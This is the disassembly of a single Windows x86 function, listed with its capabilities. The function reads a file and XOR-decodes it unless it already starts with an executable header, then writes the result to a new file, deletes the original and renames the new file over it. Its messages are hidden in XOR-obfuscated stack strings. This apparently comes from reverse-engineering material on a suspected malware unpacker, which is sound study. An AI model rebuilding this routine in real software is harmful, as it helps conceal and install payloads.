Function at 0x447fd0
Capabilities:
Delete file
Encode data using xor
Get file size
Move file
Read file on windows
Write file on windows

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x582dfd
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0xf8
mov eax, dword [0x5faad0]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edx, ecx
xor eax, eax
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x34], 0
lea esi, [ecx + 2]
mov dword [ebp - 0x30], 7
mov word [ebp - 0x44], ax
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x448031
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x44]
call fcn.0045aa30
mov dword [ebp - 4], 0
lea edi, [ebp - 0xd0]
mov ecx, dword [ebp - 0x34]
lea edx, [edi + 2]
mov dword [ebp - 0xd0], 0xbdb23e1a
mov dword [ebp - 0xcc], 0x587bbf37
mov dword [ebp - 0xc8], 0x5779d95c
mov dword [ebp - 0xc4], 0x2054e7f0
movaps xmm1, xmmword [ebp - 0xd0]
mov dword [ebp - 0x80], 0xbdd73e45
mov dword [ebp - 0x7c], 0x5818bf59
mov dword [ebp - 0x78], 0x5700d92e
mov dword [ebp - 0x74], 0x2020e780
pxor xmm1, xmmword [ebp - 0x80]
mov dword [ebp - 0xc0], 0x7467b162
mov dword [ebp - 0xbc], 0xa0bc2fcf
mov dword [ebp - 0xb8], 0xfddca120
mov dword [ebp - 0xb4], 0xb8d3ea26
movaps xmmword [ebp - 0xd0], xmm1
movaps xmm1, xmmword [ebp - 0xc0]
mov dword [ebp - 0x70], 0x7403b107
mov dword [ebp - 0x6c], 0xa0bc2fcf
mov dword [ebp - 0x68], 0xfddca120
mov dword [ebp - 0x64], 0xb8d3ea26
pxor xmm1, xmmword [ebp - 0x70]
movaps xmmword [ebp - 0xc0], xmm1
mov dword [ebp - 0x104], ecx
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x448111
sub edi, edx
mov eax, 0x7ffffffe
sar edi, 1
sub eax, ecx
cmp eax, edi
jb 0x448bf6
cmp dword [ebp - 0x30], 8
lea eax, [ebp - 0x44]
lea edx, [edi + ecx]
mov dword [ebp - 0x2c], 0
cmovae eax, dword [ebp - 0x44]
mov esi, 7
mov dword [ebp - 0x108], eax
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x58], edx
mov dword [ebp - 0x54], eax
cmp edx, esi
jbe 0x448206
mov eax, 8
mov esi, edx
cmp edx, eax
cmovb esi, eax
or esi, 7
cmp esi, 0x7ffffffe
jbe 0x44818c
mov esi, 0x7ffffffe
jmp 0x448196
mov eax, 0xa
cmp esi, eax
cmovb esi, eax
xor ecx, ecx
mov eax, esi
add eax, 1
setb cl
neg ecx
or ecx, eax
cmp ecx, 0x7fffffff
ja 0x448bfb
add ecx, ecx
cmp ecx, 0x1000
jb 0x4481e6
lea eax, [ecx + 0x23]
cmp eax, ecx
jbe 0x448bfb
push eax
call fcn.005594bd
mov ecx, eax
add esp, 4
test ecx, ecx
je 0x448c00
mov edx, dword [ebp - 0x58]
lea eax, [ecx + 0x23]
and eax, 0xffffffe0
mov dword [eax - 4], ecx
jmp 0x4481fa
test ecx, ecx
je 0x4481f8
push ecx
call fcn.005594bd
mov edx, dword [ebp - 0x58]
add esp, 4
jmp 0x4481fa
xor eax, eax
mov ecx, dword [ebp - 0x104]
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x18], esi
lea esi, [ecx + ecx]
push esi
push dword [ebp - 0x108]
mov dword [ebp - 0x1c], edx
push eax
call fcn.0055ab30
add esp, 0xc
lea eax, [edi + edi]
mov edi, dword [ebp - 0x54]
push eax
lea eax, [ebp - 0xd0]
push eax
lea eax, [esi + edi]
push eax
call fcn.0055ab30
mov eax, dword [ebp - 0x58]
add esp, 0xc
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileW]
xor ecx, ecx
push ecx
push 0x80
push 3
mov word [edi + eax*2], cx
lea eax, [ebp - 0x44]
cmp dword [ebp - 0x30], 8
push ecx
cmovae eax, dword [ebp - 0x44]
push 1
push closesocket
push eax
call esi
cmp dword [ebp - 0x18], 8
lea ecx, [ebp - 0x2c]
push 0
cmovae ecx, dword [ebp - 0x2c]
mov edi, eax
push 0x80
push 1
push 0
push 0
push 0x40000000
push ecx
mov dword [ebp - 0x54], edi
call esi
mov edx, eax
mov dword [ebp - 0x58], edx
test edi, edi
je 0x448a1c
test edx, edx
je 0x448a1c
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x4c], 0
test edi, edi
je 0x44895b
push edi
call fcn.005662ec
mov esi, eax
add esp, 4
test esi, esi
je 0x448825
push 0
lea eax, [ebp - 0x48]
push eax
push edi
push esi
push dword [ebp - 0x54]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x44848d
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0xa0], 0xdfb65010
mov dword [ebp - 0x9c], 0x2c38da35
mov dword [ebp - 0x98], 0x3272f941
mov dword [ebp - 0x94], 0x460083e1
mov dword [ebp - 0x90], 0x546ede75
mov dword [ebp - 0x8c], 0xd5cc41a6
mov dword [ebp - 0x88], 0x94ba8154
mov dword [ebp - 0x84], 0x90f38f4a
mov dword [ebp - 0x80], 0xab3260ac
mov dword [ebp - 0x7c], 0xf157c667
mov dword [ebp - 0x78], 0x73edb1b6
mov dword [ebp - 0x74], 0xb4ef34e9
mov dword [ebp - 0x70], 0x59b92c4b
mov dword [ebp - 0x6c], 0x95e72d6b
mov dword [ebp - 0x68], 0xdc7d5bc4
mov dword [ebp - 0x64], 0x2d82ebd2
movaps xmm1, xmmword [ebp - 0xa0]
mov dword [ebp - 0xf0], 0xbdd73e45
mov dword [ebp - 0xec], 0x5818bf59
mov dword [ebp - 0xe8], 0x5700d92e
mov dword [ebp - 0xe4], 0x2020e780
pxor xmm1, xmmword [ebp - 0xf0]
movaps xmmword [ebp - 0xa0], xmm1
movaps xmm1, xmmword [ebp - 0x90]
mov dword [ebp - 0xe0], 0x7403b107
mov dword [ebp - 0xdc], 0xa0bc2fcf
mov dword [ebp - 0xd8], 0xfddca120
mov dword [ebp - 0xd4], 0xb8d3ea26
pxor xmm1, xmmword [ebp - 0xe0]
movaps xmmword [ebp - 0x90], xmm1
movaps xmm1, xmmword [ebp - 0x80]
mov dword [ebp - 0xd0], 0xc44012c9
mov dword [ebp - 0xcc], 0x9e34e615
mov dword [ebp - 0xc8], 0x53d7d4d2
mov dword [ebp - 0xc4], 0xbec650cc
pxor xmm1, xmmword [ebp - 0xd0]
movaps xmmword [ebp - 0x80], xmm1
movaps xmm1, xmmword [ebp - 0x70]
push eax
lea eax, [ebp - 0xa0]
mov dword [ebp - 0xc0], 0x59b92c4b
mov dword [ebp - 0xbc], 0x95e72d6b
mov dword [ebp - 0xb8], 0xdc7d5bc4
mov dword [ebp - 0xb4], 0x2d82ebd2
pxor xmm1, xmmword [ebp - 0xc0]
push eax
movaps xmmword [ebp - 0x70], xmm1
call fcn.00446ea0
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
add esp, 8
push dword [ebp - 0x54]
call esi
mov edi, dword [ebp - 0x58]
push edi
call esi
jmp 0x448b51
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x104], eax
cmp eax, edi
jne 0x448623
cmp dword [esi], 0x905a4d
mov edi, 1
je 0x4484d7
xor edx, edx
test eax, eax
je 0x4484d7
mov al, byte [edx + esi]
lea ecx, [edi + 1]
xor al, byte [ebx + 8]
sub al, cl
mov byte [edx + esi], al
inc edx
cmp edi, 0xe
mov eax, 1
cmovne eax, ecx
mov edi, eax
mov eax, dword [ebp - 0x104]
cmp edx, eax
jb 0x4484b1
mov edi, dword [ebp - 0x58]
lea ecx, [ebp - 0x4c]
push 0
push ecx
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x448615
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x90], 0xc9be4c12
mov dword [ebp - 0x8c], 0x3471f93c
mov dword [ebp - 0x88], 0x3666f94b
mov dword [ebp - 0x84], 0x44458be9
mov dword [ebp - 0x80], 0x6669927
mov dword [ebp - 0x7c], 0x80ce40bd
mov dword [ebp - 0x78], 0x98b8ce43
mov dword [ebp - 0x74], 0xdcf6ca1c
mov dword [ebp - 0x70], 0xc44018e0
mov dword [ebp - 0x6c], 0x9e34e615
mov dword [ebp - 0x68], 0x53d7d4d2
mov dword [ebp - 0x64], 0xbec650cc
mov dword [ebp - 0xe0], 0xbdd73e45
mov dword [ebp - 0xdc], 0x5818bf59
mov dword [ebp - 0xd8], 0x5700d92e
mov dword [ebp - 0xd4], 0x2020e780
movaps xmm1, xmmword [ebp - 0xe0]
pxor xmm1, xmmword [ebp - 0x90]
movaps xmmword [ebp - 0x90], xmm1
movaps xmm1, xmmword [ebp - 0x80]
mov dword [ebp - 0xd0], 0x7403b107
mov dword [ebp - 0xcc], 0xa0bc2fcf
mov dword [ebp - 0xc8], 0xfddca120
mov dword [ebp - 0xc4], 0xb8d3ea26
pxor xmm1, xmmword [ebp - 0xd0]
movaps xmmword [ebp - 0x80], xmm1
movaps xmm1, xmmword [ebp - 0x70]
push eax
lea eax, [ebp - 0x90]
mov dword [ebp - 0xc0], 0xc44012c9
mov dword [ebp - 0xbc], 0x9e34e615
mov dword [ebp - 0xb8], 0x53d7d4d2
mov dword [ebp - 0xb4], 0xbec650cc
pxor xmm1, xmmword [ebp - 0xc0]
push eax
movaps xmmword [ebp - 0x70], xmm1
call fcn.00446ea0
add esp, 8
push esi
call fcn.00561c20
add esp, 4
jmp 0x448828
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp - 0x104]
mov dword [ebp - 0xb0], 0xd3b84c12
mov dword [ebp - 0xac], 0x3d6a9f3e
mov dword [ebp - 0xa8], 0x2420bd4f
mov dword [ebp - 0xa4], 0xc459de9
mov dword [ebp - 0xa0], 0x66f627
mov dword [ebp - 0x9c], 0xd4cf4e83
mov dword [ebp - 0x98], 0x92aed365
mov dword [ebp - 0x94], 0xdcf6d754
mov dword [ebp - 0x90], 0xad3332e5
mov dword [ebp - 0x8c], 0xf014836f
mov dword [ebp - 0x88], 0x73b3b1b7
mov dword [ebp - 0x84], 0xdce63fb8
mov dword [ebp - 0x80], 0x3ccb0c2e
mov dword [ebp - 0x7c], 0xb5dd490a
mov dword [ebp - 0x78], 0xfc513fe1
mov dword [ebp - 0x74], 0x48f882a1
mov dword [ebp - 0x70], 0xccc3526d
mov dword [ebp - 0x6c], 0xe5c660d5
mov dword [ebp - 0x68], 0x9660c36
mov dword [ebp - 0x64], 0xffa7e18
movaps xmm1, xmmword [ebp - 0xb0]
mov dword [ebp - 0x100], 0xbdd73e45
mov dword [ebp - 0xfc], 0x5818bf59
mov dword [ebp - 0xf8], 0x5700d92e
mov dword [ebp - 0xf4], 0x2020e780
pxor xmm1, xmmword [ebp - 0x100]
movaps xmmword [ebp - 0xb0], xmm1
movaps xmm1, xmmword [ebp - 0xa0]
mov dword [ebp - 0xf0], 0x7403b107
mov dword [ebp - 0xec], 0xa0bc2fcf
mov dword [ebp - 0xe8], 0xfddca120
mov dword [ebp - 0xe4], 0xb8d3ea26
pxor xmm1, xmmword [ebp - 0xf0]
movaps xmmword [ebp - 0xa0], xmm1
movaps xmm1, xmmword [ebp - 0x90]
mov dword [ebp - 0xe0], 0xc44012c9
mov dword [ebp - 0xdc], 0x9e34e615
mov dword [ebp - 0xd8], 0x53d7d4d2
mov dword [ebp - 0xd4], 0xbec650cc
pxor xmm1, xmmword [ebp - 0xe0]
movaps xmmword [ebp - 0x90], xmm1
movaps xmm1, xmmword [ebp - 0x80]
mov dword [ebp - 0xd0], 0x59b92c4b
mov dword [ebp - 0xcc], 0x95e72d6b
mov dword [ebp - 0xc8], 0xdc7d5bc4
mov dword [ebp - 0xc4], 0x2d82ebd2
pxor xmm1, xmmword [ebp - 0xd0]
movaps xmmword [ebp - 0x80], xmm1
movaps xmm1, xmmword [ebp - 0x70]
push edi
push eax
lea eax, [ebp - 0xb0]
mov dword [ebp - 0xc0], 0xada6204d
mov dword [ebp - 0xbc], 0xdfa205b1
mov dword [ebp - 0xb8], 0x3022916
mov dword [ebp - 0xb4], 0xffa7e18
pxor xmm1, xmmword [ebp - 0xc0]
push eax
movaps xmmword [ebp - 0x70], xmm1
call fcn.00446ea0
push esi
call fcn.00561c20
add esp, 0x14
jmp 0x448b51
mov edi, dword [ebp - 0x58]
push dword [ebp - 0x54]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push edi
call esi
cmp dword [ebp - 0x30], 8
lea eax, [ebp - 0x44]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileW]
cmovae eax, dword [ebp - 0x44]
push eax
call esi
cmp dword [ebp - 0x30], 8
lea ecx, [ebp - 0x44]
lea eax, [ebp - 0x2c]
cmovae ecx, dword [ebp - 0x44]
cmp dword [ebp - 0x18], 8
push ecx
cmovae eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
lea eax, [ebp - 0x2c]
jne 0x448947
cmp dword [ebp - 0x18], 8
cmovae eax, dword [ebp - 0x2c]
push eax
call esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0xd0], 0xd8a15108
mov dword [ebp - 0xcc], 0x3d74d61f
mov dword [ebp - 0xc8], 0x2565f979
mov dword [ebp - 0xc4], 0xc5288f2
mov dword [ebp - 0xc0], 0x106cd227
mov dword [ebp - 0xbc], 0xc4990faa
mov dword [ebp - 0xb8], 0xfddca12a
mov dword [ebp - 0xb4], 0xb8d3ea26
movaps xmm1, xmmword [ebp - 0xd0]
mov dword [ebp - 0x80], 0xbdd73e45
mov dword [ebp - 0x7c], 0x5818bf59
mov dword [ebp - 0x78], 0x5700d92e
mov dword [ebp - 0x74], 0x2020e780
pxor xmm1, xmmword [ebp - 0x80]
movaps xmmword [ebp - 0xd0], xmm1
movaps xmm1, xmmword [ebp - 0xc0]
push eax
lea eax, [ebp - 0xd0]
mov dword [ebp - 0x70], 0x7403b107
mov dword [ebp - 0x6c], 0xa0bc2fcf
mov dword [ebp - 0x68], 0xfddca120
mov dword [ebp - 0x64], 0xb8d3ea26
pxor xmm1, xmmword [ebp - 0x70]
push eax
movaps xmmword [ebp - 0xc0], xmm1
call fcn.00446ea0
add esp, 8
jmp 0x448b51
cmp dword [ebp - 0x18], 8
cmovae eax, dword [ebp - 0x2c]
push eax
call esi
mov byte [ebp - 0x4d], 1
jmp 0x448b55
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0xd0], 0xdca1500c
mov dword [ebp - 0xcc], 0x787cd635
mov dword [ebp - 0xc8], 0x326cb048
mov dword [ebp - 0xc4], 0x5a4994a0
mov dword [ebp - 0xc0], 0x51238b62
mov dword [ebp - 0xbc], 0x85940fab
mov dword [ebp - 0xb8], 0xfdd68844
mov dword [ebp - 0xb4], 0xb8d3ea26
movaps xmm1, xmmword [ebp - 0xd0]
mov dword [ebp - 0x80], 0xbdd73e45
mov dword [ebp - 0x7c], 0x5818bf59
mov dword [ebp - 0x78], 0x5700d92e
mov dword [ebp - 0x74], 0x2020e780
pxor xmm1, xmmword [ebp - 0x80]
movaps xmmword [ebp - 0xd0], xmm1
movaps xmm1, xmmword [ebp - 0xc0]
mov dword [ebp - 0x70], 0x7403b107
mov dword [ebp - 0x6c], 0xa0bc2fcf
mov dword [ebp - 0x68], 0xfddca120
mov dword [ebp - 0x64], 0xb8d3ea26
pxor xmm1, xmmword [ebp - 0x70]
push eax
movaps xmmword [ebp - 0xc0], xmm1
lea eax, [ebp - 0xd0]
push edi
jmp 0x448b48
mov dword [ebp - 0x80], 0x1d659173
mov ecx, str.false
mov dword [ebp - 0x7c], 0x889c4aa3
test edx, edx
mov dword [ebp - 0x78], 0xd0fcd205
mov eax, ecx
mov dword [ebp - 0x74], 0x91a0cf06
mov esi, str.true
mov dword [ebp - 0x70], 0xc44012c3
cmovne eax, esi
mov dword [ebp - 0x6c], 0x9e34e615
test edi, edi
mov dword [ebp - 0x68], 0x53d7d4d2
mov dword [ebp - 0x64], 0xbec650cc
cmovne ecx, esi
mov dword [ebp - 0x90], 0xd1be5f03
mov dword [ebp - 0x8c], 0x2c38db3c
mov dword [ebp - 0x88], 0x3264f941
mov dword [ebp - 0x84], 0x505995e3
movaps xmm1, xmmword [ebp - 0x90]
mov dword [ebp - 0xe0], 0xbdd73e45
mov dword [ebp - 0xdc], 0x5818bf59
mov dword [ebp - 0xd8], 0x5700d92e
mov dword [ebp - 0xd4], 0x2020e780
pxor xmm1, xmmword [ebp - 0xe0]
movaps xmmword [ebp - 0x90], xmm1
mov dword [ebp - 0xd0], 0x7403b107
mov dword [ebp - 0xcc], 0xa0bc2fcf
mov dword [ebp - 0xc8], 0xfddca120
mov dword [ebp - 0xc4], 0xb8d3ea26
movaps xmm1, xmmword [ebp - 0xd0]
pxor xmm1, xmmword [ebp - 0x80]
movaps xmmword [ebp - 0x80], xmm1
mov dword [ebp - 0xc0], 0xc44012c9
mov dword [ebp - 0xbc], 0x9e34e615
mov dword [ebp - 0xb8], 0x53d7d4d2
mov dword [ebp - 0xb4], 0xbec650cc
movaps xmm1, xmmword [ebp - 0xc0]
pxor xmm1, xmmword [ebp - 0x70]
push eax
movaps xmmword [ebp - 0x70], xmm1
lea eax, [ebp - 0x90]
push ecx
push eax
call fcn.00446ea0
add esp, 0xc
mov byte [ebp - 0x4d], 0
mov ecx, dword [ebp - 0x18]
cmp ecx, 8
jb 0x448b8b
mov edx, dword [ebp - 0x2c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x448b81
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x448c00
push ecx
push edx
call fcn.0055948c
add esp, 8
mov ecx, dword [ebp - 0x30]
xor eax, eax
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 7
mov word [ebp - 0x2c], ax
cmp ecx, 8
jb 0x448bd5
mov edx, dword [ebp - 0x44]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x448bcb
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x448c00
push ecx
push edx
call fcn.0055948c
add esp, 8
mov al, byte [ebp - 0x4d]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0055947e
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.00447110
call fcn.00447040
call fcn.00561df7
int3